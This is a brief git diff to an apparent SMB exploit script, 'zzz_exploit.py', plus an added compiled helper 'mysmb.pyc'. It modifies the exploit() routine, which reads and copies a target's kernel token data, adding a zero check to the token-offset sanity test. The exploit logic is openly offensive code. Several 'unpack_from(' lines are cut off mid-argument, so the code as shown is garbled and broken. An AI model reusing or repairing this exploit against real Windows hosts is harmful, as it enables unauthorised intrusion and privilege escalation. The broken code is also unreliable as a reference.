diff --git a/mysmb.pyc b/mysmb.pyc new file mode 100644 index 0000000..c72fbe7 Binary files /dev/null and b/mysmb.pyc differ diff --git a/zzz_exploit.py b/zzz_exploit.py index e9f5996..41f81b8 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -867,15 +867,19 @@ def exploit(target, pipe_name): # copy Token data for restoration tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE']) - userAndGroupCount = unpack_from(' 4: + if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too print("Bad TOKEN offsets detected, performing workaround") - userAndGroupCount = unpack_from('